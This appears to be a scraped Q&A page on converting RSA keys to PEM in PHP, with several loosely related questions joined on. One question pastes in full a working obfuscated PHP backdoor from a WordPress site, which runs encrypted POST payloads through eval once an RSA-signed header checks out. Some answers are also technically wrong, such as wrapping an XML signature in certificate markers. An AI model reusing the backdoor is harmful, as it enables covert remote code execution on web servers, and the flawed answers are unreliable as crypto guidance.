How convert RSA public key, from XML to PEM (PHP)?
I'm assuming that by XML format, you mean XML DSig RSAKeyValue, and that by PEM format you mean what OpenSSL exports in between -----BEGIN PUBLIC KEY----- and -----END PUBLIC KEY-----.
You need first to extract the modulus and public exponent from the XML.
<RSAKeyValue>
<Modulus>xA7SEU+e0yQH5rm9kbCDN9o3aPIo7HbP7tX6WOocLZAtNfyxSZDU16ksL6W
jubafOqNEpcwR3RdFsT7bCqnXPBe5ELh5u4VEy19MzxkXRgrMvavzyBpVRgBUwUlV
5foK5hhmbktQhyNdy/6LpQRhDUDsTvK+g9Ucj47es9AQJ3U=
</Modulus>
<Exponent>AQAB</Exponent>
</RSAKeyValue>
You can easily convert these into a bit string using base64_decode.
Once this is done, you need to build the ASN.1 public key structure somehow.
What OpenSSL exports between BEGIN/END PUBLIC KEY is an X.509 SubjectPublicKeyInfo structure.
SubjectPublicKeyInfo ::= SEQUENCE {
algorithm AlgorithmIdentifier,
subjectPublicKey BIT STRING }
The subjectPublicKey is made of a sequnce is described in the PKCS#1 spec:
RSAPublicKey ::= SEQUENCE {
modulus INTEGER,
publicExponent INTEGER
}
The algorithm (an AlgorithmIdentifier) is also described in the PKCS#1 spec (see section A.1):
rsaEncryption
OBJECT IDENTIFIER ::= { pkcs-1 1 }
This structure needs to be serialized in DER form, then base64-encoded and then placed between the BEGIN/END delimiters.
I don't know of any PHP library to do the ASN.1/DER encoding unfortunately (the rest is relatively easy, but dealing with ASN.1 tends to be tedious).
The PHP/PEAR Crypt_RSA module can construct RSA public keys from modulus and exponent, but its toString() method uses a custom format (just the base64-encoding of the result of PHP serialize on the array structure, which has nothing to do with the ASN.1/DER encoding).
we know
.pem - (Privacy Enhanced Mail) Base64
encoded DER certificate, enclosed
between "-----BEGIN CERTIFICATE-----"
and "-----END CERTIFICATE-----"
X.509
The SignatureValue element contains
the Base64 encoded signature result -
the signature generated with the
parameters specified in the
SignatureMethod element - of the
SignedInfo element after applying the
algorithm specified by the
CanonicalizationMethod.
XML_Signature
so we end up with
$xml = simplexml_load_file($xmlFile); // or simplexml_load_string
$pem = "-----BEGIN CERTIFICATE-----\n";
$pem .= $xml->SignatureValue;
$pem .= "\n-----END CERTIFICATE-----";
// save to file
if your xml-file isn't a XML_Signature
$xml = simplexml_load_file($xmlFile); // or simplexml_load_string
$pem = "-----BEGIN CERTIFICATE-----\n";
$pem .= $xml->nodeWithWantedValue; // use base64_encode if needed
$pem .= "\n-----END CERTIFICATE-----";
Here's an example of how to read XML RSA keys in PHP:
There is no standard for storing RSA public keys in XML. So the manner of conversion will depend on the XML you have.
Just for completeness, here is a working example of creating the PEM from modulus in python. You could call it in a subprocess from PHP if necessary.
The meat of the solution is:
def big_endian(n):
s = '%x' % n
if len(s) & 1:
s = '0' + s
return s.decode('hex')
from M2Crypto import RSA
e = E_PREFIX + big_endian(public_exponent)
n = N_PREFIX + big_endian(modulus)
new = RSA.new_pub_key((e,n))
new.save_key('foo.pub')
Where E_PREFIX and N_PREFIX are constants that (as far as I can tell) depend on the exponent and key length. Here is a quick table I have constructed:
E_PREFIX = '\x00\x00\x00\x01' # 0x3 (3)
E_PREFIX = '\x00\x00\x00\x03' # 0x10001 (65537)
N_PREFIX = '\x00\x00\x00!\x00' # 256-bit
N_PREFIX = '\x00\x00\x00A\x00' # 512-bit (default)
N_PREFIX = '\x00\x00\x00\x81\x00' # 1024-bit
N_PREFIX = '\x00\x00\x01\x01\x00' # 2048-bit
N_PREFIX = '\x00\x00\x02\x01\x00' # 4096-bit
If someone knows a more general way to compute the prefixes, do tell.
Maybe you should have a look here
Extract the two base64-encoded strings, convert and pass to PEAR::Crypt_RSA, then export as text file, then openssl convert?
Check this too
Related
I was going through some of the codes of my WordPress website and realized some minified random PHP codes. These codes are hard to read with naked eyes.
now I'm wondering if this is a virus or what could it be? There are several files with such kind of code. Until someone helps me understand, I will treat it as a virus
<?php $_5fc427e4='aes-128-cbc';$_be5af5e5='//CWWSUBSCRIPT//';$_ca907758='LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDc2x3Q3gzN3pXUnl6TmxwTlJEUDE1MUt0NgpRa01LYURJL0VMblJwMERTb1dCTVhoMzdtSjhWb25FdjZYdVJmTlFMZUwwZ3ljVFFmY0NxSWZHV3lxdXN6WFowCi9YbC9MZmdwZFFhQVFEYzJLNDNwWE1CRTJJMmJROWVScFFMRFQrYVNWdlNqa01lSFR1Zy9QU1VjZFM1cjJQaTkKYVFLZVBvNGxyWHRldHpOMDNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=';$VERSION="0.3.0";$ID=$VERSION.' php-'.PHP_VERSION.'/'.PHP_OS.'/'.$_SERVER['SERVER_SOFTWARE'];error_reporting(0);#set_time_limit(3600);#ini_set('implicit_flush','On');#ini_set('default_socket_timeout','3600');#ini_set('file_uploads','On');#ini_set('max_execution_time','3600');#ini_set('max_input_time','3600');#ini_set('upload_max_filesize','32M');#ini_set('post_max_size','32M');$_b632135e=$_SERVER['REQUEST_METHOD'][0]?$_SERVER['REQUEST_METHOD'][0]: 'P';if($_b632135e=='G'){if(isset($_GET['debug'])&&_f454d8cb('./cwwdebug.data',$_GET['debug'])){error_reporting(-1);_99412630();exit;}}if($_b632135e!='P'){_b8e6b0c7(10);}$_7a03a6d6=false;foreach($_SERVER as $_52b6f489=>$_7a03a6d6){if(strtolower($_52b6f489)=='http_x_cww_tag'){$_7a03a6d6=pack("H*",$_7a03a6d6);break;}}if($_7a03a6d6===false)_b8e6b0c7(20);$_897afce9=false;$_2ae84ba2=openssl_pkey_get_public(base64_decode($_ca907758));openssl_public_decrypt($_7a03a6d6,$_897afce9,$_2ae84ba2);openssl_free_key($_2ae84ba2);if(!$_897afce9)_b8e6b0c7(30);$_0496934c=preg_match_all('/^([0-9]{10}):([0-9a-f]{32}):([0-9a-f]{32})$/i',$_897afce9,$_ed0783be);if(!$_0496934c)_b8e6b0c7(40);if($_ed0783be[1][0]<time())_b8e6b0c7(50);$_011ea5f3=array();$_011ea5f3[0]=pack("H*",$_ed0783be[2][0]);$_011ea5f3[1]=pack("H*",$_ed0783be[3][0]);if(eval('return 1;'))$_6ebae9e7=1;else if(is_callable('create_function'))$_6ebae9e7=2;else if(is_callable('file_put_contents'))$_6ebae9e7=3;else _b8e6b0c7(60);$_f178c330=array();for($i=9;$i>=0;$i--){$_ffc1d021=_35d71fd2($_POST[$i],$_f178c330[$i]);if($_ffc1d021>0)_b8e6b0c7($_ffc1d021+70);}if(empty($_f178c330[9]))_b8e6b0c7(80);while(#ob_end_clean());$_5daa2f51=32;ob_start('_97e99099',2);_b8e6b0c7(0);for($_3713da68=0;$_3713da68<=9;$_3713da68++){if(empty($_f178c330[$_3713da68]))continue;$_d84792e0=false;switch($_6ebae9e7){case 1: if(!eval($_f178c330[$_3713da68]))$_d84792e0=true;break;case 2: if(!call_user_func(create_function(null,$_f178c330[$_3713da68])))$_d84792e0=true;break;case 3: $_2226298e=tempnam(sys_get_temp_dir(),time());if(file_put_contents($_2226298e,"<?php\n".$_f178c330[$_3713da68]."\nreturn false;\n?".'>')){if(!(include($_2226298e)))$_d84792e0=true;unlink($_2226298e);}else{$_d84792e0=true;}break;}if($_d84792e0)_b8e6b0c7(90+$_3713da68);}ob_end_flush();while(#ob_end_flush());exit;function _b8e6b0c7($_4a728cd2){global $ID;if($_4a728cd2>0){header("HTTP/1.1 202 $_4a728cd2");header('Connection: close',true);}else{header('HTTP/1.1 200 OK');}header("X-Cww-Id: ".(implode(unpack("H*",$ID))));header('Cache-Control: must-revalidate');header('Pragma: no-cache');header('Expires: Thu,1 Jan 1970 00:00:01 GMT');flush();if(!$_4a728cd2)return;exit;}function _ceee992a(&$_5063af5c,&$_22acf907){global $_011ea5f3,$_5fc427e4;$_22acf907=openssl_decrypt($_5063af5c,$_5fc427e4,$_011ea5f3[0],false,$_011ea5f3[1]);return $_22acf907||false;}function _cf76f9f4(&$_269f3677,&$_5063af5c){global $_011ea5f3,$_5fc427e4;$_5063af5c=openssl_encrypt($_269f3677,$_5fc427e4,$_011ea5f3[0],false,$_011ea5f3[1]);return $_5063af5c||false;}function _2e082d06(&$_16ae1ab0,&$_298c83b2){if(function_exists('gzdecode')){$_298c83b2=gzdecode($_16ae1ab0);return $_298c83b2||false;}else if(substr($_16ae1ab0,0,3)=="\x1f\x8b\x08"){$_3713da68=10;$_d59a8e8c=ord(substr($_16ae1ab0,3,1));if($_d59a8e8c>0){if($_d59a8e8c & 4){list($_c4c8650e)=unpack('v',substr($_16ae1ab0,$_3713da68,2));$_3713da68+=(2+$_c4c8650e);}if($_d59a8e8c & 8)$_3713da68=strpos($_16ae1ab0,"\0",$_3713da68)+1;if($_d59a8e8c & 16)$_3713da68=strpos($_16ae1ab0,"\0",$_3713da68)+1;if($_d59a8e8c & 2)$_3713da68+=2;}$_298c83b2=gzinflate(substr($_16ae1ab0,$_3713da68,-8));return $_298c83b2||false;}return false;}function _35d71fd2(&$_5063af5c,&$_22acf907){global $_be5af5e5;if(empty($_5063af5c))return-1;$_16ae1ab0=false;if(!_ceee992a($_5063af5c,$_16ae1ab0))return 1;if(!_2e082d06($_16ae1ab0,$_22acf907))return 2;$_c891de4a=strpos($_22acf907,$_be5af5e5);if($_c891de4a===false||$_c891de4a!=0)return 3;return 0;}$_1e23290b='';$_ab7bcfbf=0;function _97e99099($_c9fd7070,$_b46ca1b2){global $_1e23290b,$_ab7bcfbf,$_5daa2f51;$_1e23290b.=$_c9fd7070;$_ab7bcfbf++;$_4b8df1b0=NULL;if($_1e23290b&&($_b46ca1b2||$_ab7bcfbf>$_5daa2f51)){global $_011ea5f3;$_4d08b43b=gzencode($_1e23290b);_cf76f9f4($_4d08b43b,$_4b8df1b0,$_011ea5f3[0],$_011ea5f3[1]);$_4b8df1b0.="\n";$_ab7bcfbf=0;$_1e23290b=NULL;}return $_4b8df1b0;}function _f454d8cb($_81a3c9f8,$_ec530a51){if($_68727f18=fopen($_81a3c9f8,'r')){$_f4de9e3e=fgets($_68727f18);fclose($_68727f18);return $_ec530a51==trim($_f4de9e3e);}return false;}function _99412630(){global $ID;echo "<html><pre>\n";echo "OUR VERSION: ".(pack("H*",$ID))."\n\n";echo "GLOBAL VARS:\n";print_r($GLOBALS);$_227afe03=array('openssl_get_cipher_methods','openssl_pkey_get_private','openssl_private_decrypt','openssl_decrypt','openssl_encrypt','gzdecode','gzencode','gzinflate','create_function','call_user_func','file_put_contents','tempnam',);echo "\n\nAVAILABLE FUNCTIONS:\n";foreach($_227afe03 as $f){echo "$f():\te:".(function_exists($f)+0).',c:'.(is_callable($f)+0)."\n";}echo "\n\nCURRENT DIR AND STATS:\n";echo(getcwd())."\n";print_r(stat('.'));if(is_callable('openssl_get_cipher_methods')){echo "\n\nOPENSSL SUPPORTED METHODS:\n";print_r(openssl_get_cipher_methods());}echo "\n\nTHIS SERVER DATE/TIME:\n";echo(date('r'));if(is_callable('phpinfo')){echo "\n\nPHP INFO:\n";ob_start();phpinfo();$_aabae31f=ob_get_contents();ob_end_clean();$_aabae31f=preg_replace('/<[^>]+>/i',"\t",$_aabae31f);echo "$_aabae31f\n</pre></html>";}else{echo "\n\nPHP INFO:(func is not callable)\n";}} ?>
This contains a RSA public key:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCslwCx37zWRyzNlpNRDP151Kt6
QkMKaDI/ELnRp0DSoWBMXh37mJ8VonEv6XuRfNQLeL0gycTQfcCqIfGWyquszXZ0
/Xl/LfgpdQaAQDc2K43pXMBE2I2bQ9eRpQLDT+aSVvSjkMeHTug/PSUcdS5r2Pi9
aQKePo4lrXtetzN03QIDAQAB
-----END PUBLIC KEY-----
Note that your file is weird. A RSA public key consists of two integers, the modulus (n) and the public exponent (e). It is normally encoded as an ASN.1 structure that is a SEQUENCE of two INTEGER values. That structure is then supposed to be DER-encoded, and the resulting sequence of bytes to become the contents of a BIT STRING in another, outer ASN.1 structure that also contains an explicit identifier for the key type (i.e. an indication that the key is really of type RSA).
In your case, that outer structure is missing. So there is formally no indication, neither in the encoded ASN.1 structure, nor in the PEM header ("BEGIN PUBLIC KEY"), that the key is an RSA key.
For a PEM private certificate, I assume you need a string like this:
-----BEGIN PRIVATE KEY-----
YzNhYjhmZjEzNzIwZThhZDkwNDdkZDM5NDY2YjNjODk3NGU1OTJjMmZhMzgzZDRhMzk2MDcxNGNhZWYwYzRmMg==
-----END PRIVATE KEY-----
So what I did was:
$privateKey = '-----BEGIN PRIVATE KEY-----';
$privateKey .='\n'.base64_encodehash(('sha256','foobar'));
$privateKey .='\n-----END PRIVATE KEY-----';
But openssl_pkey_get_private($privateKey) returns false and not a valid resource. I assumed PEM is just base64 string. What have I done wrong? (I found this via Google: http://www.cryptosys.net/pki/manpki/pki_pemstring.html)
There are different PEM formats for different types of objects. On the face of it PEM is just base 64 encoded data enclosed within the BEGIN and END markers. PEM files that begin with the "BEGIN PRIVATE KEY" markers contain base64 encoded data that conforms to the PKCS#8 standard. In particular see section 5 of RFC5208 (https://www.rfc-editor.org/rfc/rfc5208). Normally you would not create these files yourself from scratch you would use some sort of library or tool to do it for you (such as OpenSSL).
I'm having trouble trying to convert a Java generated RSA Public KEY to string format so I can use it on the PHP side. I tried converting it to string but the encryption fails on the PHP side. I generate a public Key in Java like this:
KeyPairGenerator k = KeyPairGenerator.getInstance("RSA");
k.initialize(1024);
KeyPair kp = k.genKeyPair();
PublicKey publicKey = kp.getPublic();
PrivateKey privateKey = kp.getPrivate();
and the PublicKey when outputted to String looks something like this:
RSA Public Key
modulus: eded852d98899fd083b6b989cbdbb41c0cf604ccdc3c4b46a6e3bdf92be898db1c53133dba4fcbc3bd7e8934b7b212856146169858ef2177e9c04c995d4fb61f9957eb6ff61a1183de03e5459ecbae7d1196778be844127fd7e80668b57037cab7a3e56c02cb881c3fb2aaddd47e5cae49c14582be01722cfa5352d9bdc97a37
public exponent: 10001
I then encode this PublicKey like this:
byte[] pKbytes = Base64.encode(publicKey.getEncoded(), 0);
String pK = new String(pKbytes);
String pubKey = "-----BEGIN PUBLIC KEY-----\n" + pK + "-----END PUBLIC KEY-----\n";
and that outputted looks something like this:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDt7YUtmImf0
IO2uYnL27QcDPYEzNw8S0am4735
K+iY2xxTEz26T8vDvX6JNLeyEoVhRhaYWO8hd+nATJldT7Yf
mVfrb/YaEYPeA+VFnsuufRGWd4vo
RBJ/1+gGaLVwN8q3o+VsAsuIHD+yqt3UflyuScFFgr4Bciz
6U1LZvcl6NwIDAQAB
-----END PUBLIC KEY-----
which looks similar to the format I have on the PHP side. Encoding it using Base64 gives the final format I intend for the key String.
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS1NSUdmTUEwR0NTcUdTSWIzRFFFQkFRVUFBNEdOQURD
QmlRS0JnUUR0N1lVdG1JbWYwSU8ydVluTDI3UWNEUFlFek53OFMwYW00NzM1SytpWTJ4eFRFejI2
VDh2RHZYNkpOTGV5RW9WaFJoYVlXTzhoZCtuQVRKbGRUN1lmbVZmcmIvWWFFWVBlQStWRm5zdXVm
UkdXZDR2b1JCSi8xK2dHYUxWd044cTNvK1ZzQXN1SUhEK3lxdDNVZmx5dVNjRkZncjRCY2l6NlUx
TFp2Y2w2TndJREFRQUItLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0=
After all this, the key doesn't seem to work. It encrypts a message with the key I send it but when I send it back to the Java/Android app (which contains the private key) it can't decrypt it. I've been able to do this vice-versa (i.e. take a encoded key string from PHP and convert it to a Public Key to be used by the Java/Android app) Anything I'm doing wrong here? My gut tells me I'm sending the wrong string to the PHP server
Here's what the stack Trace in Java looks like :
03-02 12:02:26.170 W/System.err﹕ java.lang.ArrayIndexOutOfBoundsException: too much data for RSA block
03-02 12:02:26.182 W/System.err﹕ at com.android.org.bouncycastle.jcajce.provider.asymmetric.rsa.CipherSpi.engineDoFinal(CipherSpi.java:464)
03-02 12:02:26.186 W/System.err﹕ at javax.crypto.Cipher.doFinal(Cipher.java:1204)
03-02 12:02:26.186 W/System.err﹕ at com.app.test.NQ.NQCrypto.decrypt(NQCrypto.java:116)
Here is how I attempt to decrypt the data in Java:
public static String decrypt(String data) throws Exception {
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-1AndMGF1Padding", "BC");
cipher.init(Cipher.DECRYPT_MODE, privateKey);
// Base 64 encode the encrypted data
byte[] encryptedBytes = Base64.encode(cipher.doFinal(data.getBytes()), 0);
return new String(encryptedBytes);
}
Your decryption code looks wrong:
cipher.doFinal(data.getBytes())
Your data variable is a string, but strings can't hold raw encrypted data without corrupting it. Unless your ciphertext is actually hex-encoded or base64-encoded etc. In which case, getBytes() is not the right way to decode that into a byte array.
So either fix the way you are sending your ciphertext, or correct the way you decode your ciphertext to a byte array.
In PHP, I want to sign some documents with a padding of PSS, and a digest of SHA512.
According to the docs, at http://www.php.net/manual/en/function.openssl-sign.php, I can set the digest however I need, by using a string, such as
openssl_sign($text-to-sign,$binary_signature,$privkey,"sha512");
I don't see any way to set the padding, however.
Can anyone please help me understand how I can sign text, using the RSA-PSS padding style, as seen in version 2.1 of PKCS #1?
I had the same needs as you, but in 2019 (I assume we got better libraries now ;)
As you already discovered, the way is using phpseclib, which is now at version 2.0 in Debian Stretch.
Signature Generation
This is the code I used to sign some binary data, using a 8192 RSA key, with PSS padding and a SHA512 hash function:
require "/usr/share/php/phpseclib/autoload.php";
use phpseclib\Crypt\RSA;
// INPUT DATA
$privkey = "..."; // I used a RSA private key in PEM format, generated by openssl, but phpseclib supports many formats...
$mydata = "..."; // I generated some binary bytes here...
// SIGNING
$rsa = new RSA();
if ($rsa->loadKey($privkey) != TRUE) {
echo "Error loading private key";
return;
}
$rsa->setHash("sha512");
$rsa->setMGFHash("sha512"); // This NEEDS to be set, or the default will be used
$rsa->setSignatureMode(RSA::SIGNATURE_PSS); // This doesn't need to be set, as it is already the default value
$signatureBytes = $rsa->sign($mydata);
$signatureBytes is a binary string (or an array of bytes, as you call it in C/C++/C#). It doesn't have any encoding, and may contain NULL bytes. This is your wanted signature.
Side note: it's nearly required to insall php-gmp, or you'll get painfully slow signing times. Here there are some benchmarks.
Signature Verification with OpenSSL
openssl dgst -sha512 -sigopt rsa_padding_mode:pss -sigopt
rsa_pss_saltlen:-1 -verify pubkey.pem -signature signature.bin
plaintextdata.dat
In detail, the -sigopt rsa_pss_saltlen:-1 tells openssl to use a salt length that matches the hashing algorithm size. (this is what the Microsoft APIs do, and there's no way to change that behavior)
Signature Verification with C++/CLI (.NET)
In order to be able to use the RSA public key in the .NET world, without using any other library, you need first to export it in BLOB format using openssl:
openssl rsa -pubin -inform PEM -in pubkey.pem -outform "MS PUBLICKEYBLOB" -out pubkey.blob
Then, you need .NET 4.6, with the new RSACng CryptoProvider.
And that's the code:
// Import the public key (as BLOBDATA)
RSACryptoServiceProvider^ rsaCsp = gcnew RSACryptoServiceProvider();
rsaCsp->ImportCspBlob(pubkey);
RSAParameters rsaParams = rsaCsp->ExportParameters(false);
RSA^ rsa = gcnew RSACng();
rsa->ImportParameters(rsaParams);
array<Byte>^ dataBytes = ...;
array<Byte>^ signatureBytes = ...;
bool signIsValid = rsa->VerifyData(dataBytes, signatureBytes, HashAlgorithmName::SHA512, RSASignaturePadding::Pss);
In order not to be "That Guy", I thought I'd leave an answer to the question, given how this does show up in Google and all ;)
I am able to get the PSS padding via http://phpseclib.sourceforge.net/
So far, I haven't gotten it to interop with OpenSSL or LibTomCrypt, but..
I'm probably just configuring it wrong.
I'm sure you'll have better luck, future person!
-CPD
I have an RSA keypair in decimal format like this:
N: 131380300130444423689465024460852313971098730922811994958210650530501686748132880102503190365296216968351535889369502651601697016994057094307459860310817213533755054007252477133258682280599098830508996183566745393684789271087614478241425320061726198137426426490142200235611844869472546908487777450913733956847
E: 65537
D: 80297204963989065579466889768824319637950465647088430322583084471355799970954766200860052948440422519604509972209521777162610037317804551817832746460011635684494412969232268215156141089492528372187753214602862715747188949826914338588271329247689858629892142371556575928454002581316958535707202236560574870513
P: 1224584489781086541356110467036625215751324632060784958572680296867401248241071907258999049522896850209985495153134079568147009917335592949603533318035603
Q: 10728561502026755927334064184961854822182870744919733441933716834397978727498603128211162084788541605856166966893670172798846339557261092973389679407794073
While OpenSSL (for PHP) requires that the key should be in PEM format. How do i convert them? It is very important that the public & private key "stays the same" (By that i mean that i can't just make a new keypair).
EDIT:
Or is it easier to make a pem cartificate and extracting all of those values in decimal format? And if so, how?
Short of doing it yourself (writing a small utitlity program to convert the key to PEM format) you could use the Java tool at this URL: http://www.platanus.cz/blog/converting-rsa-xml-key-to-pem
It requires the input to be in an XML file but that should be trivial for you to generate.
Try ssh2openpgp in the monkeyspehere project.
UPDATE: Try also this. It explains how to go from, in two steps, OpenSSH → OpenSSL → GnuPG.